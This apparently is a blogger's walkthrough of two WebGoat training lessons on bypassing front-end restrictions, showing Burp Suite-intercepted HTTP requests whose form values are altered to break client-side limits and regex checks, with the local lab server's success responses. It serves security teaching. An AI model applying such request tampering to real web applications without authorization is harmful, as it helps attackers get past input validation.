



# WebGoat Bypass Front End Restrictions

Twitter: @BlackSheepSpicy

Twitch: <https://twitch.tv/BlackSheepSpicy>

2. Not gonna lie, this is pretty much exactly the stuff we've been doing during our entire time on WebGoat:

**Task**

Send a request that bypasses restrictions of all four of these fields

Select field with two possible values

Option 1 ▾

Radio button with two possible values

☒ Option 1

☐ Option 2

Checkbox: value either on or off

☒ Checkbox

Input restricted to max 5 characters

12345

Disabled input field

submit

All we have to do is intercept the request in Burp Suite and mess with the values, in this case I just set the parameters to any value outside what is acceptable:

```
POST /WebGoat/BypassRestrictions/FieldRestrictions HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Cookie: JSESSIONID=3019625D27E219EBD61A0FB93CA4FA47; WEBWOLFSESSION=84E550CB4AAFB5CECA2B8AF9270642C7
Connection: close

select=option1&radio=option1&checkbox=on&shortInput=12345
```



Request	Response
<div>Raw Params Headers Hex</div> <pre>POST /WebGoat/BypassRestrictions/FieldRestrictions HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/WebGoat/start.mvc Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 59 Cookie: JSESSIONID=3019625D27E219EBD61A0FB93CA4FA47; WEBWOLFSESSION=84E550CB4Aafb5CECA2B8AF9270642C7 Connection: close  select=option3&amp;radio=option3&amp;checkbox=yes&amp;shortInput=123 456</pre>	<div>Raw Headers Hex</div> <pre>HTTP/1.1 200 X-Application-Context: application:8080 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Content-Type: application/json;charset=UTF-8 Date: Fri, 04 Oct 2019 01:27:05 GMT Connection: close Content-Length: 132  {   "lessonCompleted" : true,   "feedback" : "Congratulations. You have successfully completed the assignment.",   "output" : null }</pre>

And because all the input checks are on your web browser, the server will just take this and have no idea what to do with it, completing the challenge:

☒

Select field with two possible values

Option 1 ▾

Radio button with two possible values

☒ Option 1

☐ Option 2

Checkbox: value either on or off

☒ Checkbox

Input restricted to max 5 characters

12345

Disabled input field

submit

**Congratulations. You have successfully completed the assignment.**



3. Oh god... regex send help

## Task

Send a request that does not fit the regular expression above the field in all fields.

**Field 1:** exactly three lowercase characters(`^[a-z]{3}$`)

**Field 2:** exactly three digits(`^[0-9]{3}$`)

**Field 3:** letters, numbers, and space only(`^[a-zA-Z0-9 ]*$`)

**Field 4:** enumeration of numbers (`^(one|two|three|four|five|six|seven|eight|nine)$`)

**Field 5:** simple zip code (`^\d{5}$`)

**Field 6:** zip with optional dash four (`^\d{5}(-\d{4})?$`)

**Field 7:** US phone number with or without dashes (`^[2-9]\d{2}-?\d{3}-?\d{4}$`)



Jk they explain everything, same procedure as before:

```
POST /WebGoat/BypassRestrictions/frontendValidation/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 112
Cookie: JSESSIONID=3019625D27E219EBD61A0FB93CA4FA47; WEBWOLFSESSION=84E550CB4AAF85CECA2B8AF9270642C7
Connection: close

field1=abc&field2=123&field3=abc+123+ABC&field4=seven&field5=01101&field6=90210-1111&field7=301-604-4882&error=0
```

Request	Response
<p>Raw Params Headers Hex</p> <p>POST /WebGoat/BypassRestrictions/frontendValidation/ HTTP/1.1</p> <p>Host: localhost:8080</p> <p>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0</p> <p>Accept: */*</p> <p>Accept-Language: en-US,en;q=0.5</p> <p>Accept-Encoding: gzip, deflate</p> <p>Referer: http://localhost:8080/WebGoat/start.mvc</p> <p>Content-Type: application/x-www-form-urlencoded; charset=UTF-8</p> <p>X-Requested-With: XMLHttpRequest</p> <p>Content-Length: 117</p> <p>Cookie: JSESSIONID=3019625D27E219EBD61A0FB93CA4FA47; WEBWOLFSESSION=84E550CB4AAF85CECA2B8AF9270642C7</p> <p>Connection: close</p> <p>field1=abcd&amp;field2=1234&amp;field3=abc+123+ABC^&amp;field4=sven&amp;field5=011011&amp;field6=90210-11111&amp;field7=301--604-4882&amp;error=0</p>	<p>Raw Headers Hex</p> <p>HTTP/1.1 200</p> <p>X-Application-Context: application:8080</p> <p>X-Content-Type-Options: nosniff</p> <p>X-XSS-Protection: 1; mode=block</p> <p>X-Frame-Options: DENY</p> <p>Content-Type: application/json; charset=UTF-8</p> <p>Date: Fri, 04 Oct 2019 01:53:32 GMT</p> <p>Connection: close</p> <p>Content-Length: 132</p> <pre>{   "lessonCompleted" : true,   "feedback" : "Congratulations. You have successfully completed the assignment.",   "output" : null }</pre>

Short and sweet write up but you gotta cover your bases know what I mean? Regardless I hope you enjoyed this write up! If you want to see me overthink these challenges live be sure to drop by my Twitch when I'm live and also follow my Twitter for some fresh memes!



